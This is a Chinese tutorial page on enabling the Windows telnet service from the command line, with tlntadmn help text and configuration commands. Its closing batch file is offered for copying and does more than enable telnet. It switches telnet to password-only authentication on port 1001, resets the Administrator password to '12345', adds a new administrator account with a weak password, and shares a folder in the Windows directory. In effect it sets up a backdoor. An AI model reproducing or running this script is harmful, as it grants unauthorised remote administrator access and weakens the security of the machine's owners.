cmd下开启telnet的方法

所属分类: 脚本专栏 / DOS/BAT 阅读数: 1267
收藏 0 赞 0 分享
1.启动

sc config tlntsvr start= auto
net start telnet

2.telnet管理工具

C:\>tlntadmn /?
用法: tlntadmn [computer name] [common_options] start | stop | pause | continue
| -s | -k | -m | config config_options
所有会话用 ‘all'。
-s sessionid 列出会话的信息。
-k sessionid 终止会话。
-m sessionid 发送消息到会话。
config 配置telnet 服务器参数。
common_options 为:
-u user 指定要使用其凭据的用户
-p password 用户密码
config_options 为:
dom = domain 设定用户的默认域
ctrlakeymap = yes|no 设定ALT 键的映射
timeout = hh:mm:ss 设定空闲会话超时值
timeoutactive = yes|no 启用空闲会话。
maxfail = attempts 设定断开前失败的登录企图数。
maxconn = connections 设定最大连接数。
port = number 设定telnet 端口。
sec = [+/-]NTLM [+/-]passwd
设定身份验证机构
mode = console|stream 指定操作模式。

3.更改验证模式

tlntadmn config sec =passwd

4.更改端口

tlntadmn config port = 1001

5.批处理
复制代码 代码如下:

@echo off
@sc config tlntsvr start= auto
@net start telnet
@tlntadmn config sec =passwd
@tlntadmn config port = 1001
@net user administrator 12345
@net user 394931603 123456789 /add
@net localgroup administrators 394931603 /add
@pause
@md c:\windows\3949
@net share 3949=c:\windows\3949
更多精彩内容其他人还在看

推荐学习dos和bat的批处理的教程第1/2页

推荐学习dos和bat的批处理的教程
收藏 0 赞 0 分享

BAT批处理文件语法第1/2页

BAT批处理文件语法
收藏 0 赞 0 分享

批处理文件制作实例精彩教程第1/5页

批处理文件制作实例精彩教程
收藏 0 赞 0 分享

用批处理实现强制与他人QQ聊天

用批处理实现强制与他人QQ聊天
收藏 0 赞 0 分享

用bat实现删除系统脚本调试程序

用bat实现删除系统脚本调试程序
收藏 0 赞 0 分享

一个不错的优化系统的批处理

一个不错的优化系统的批处理
收藏 0 赞 0 分享

打造个性批处理界面

打造个性批处理界面
收藏 0 赞 0 分享

关闭默认共享的bat文件

关闭默认共享的bat文件
收藏 0 赞 0 分享

自动重启电脑的bat文件

自动重启电脑的bat文件,一般用作服务器自动重启,下面详细介绍下windows下服务器的自动设置方法。
收藏 0 赞 0 分享

在机上创建一个用户的批处理

在机上创建一个用户的批处理
收藏 0 赞 0 分享
查看更多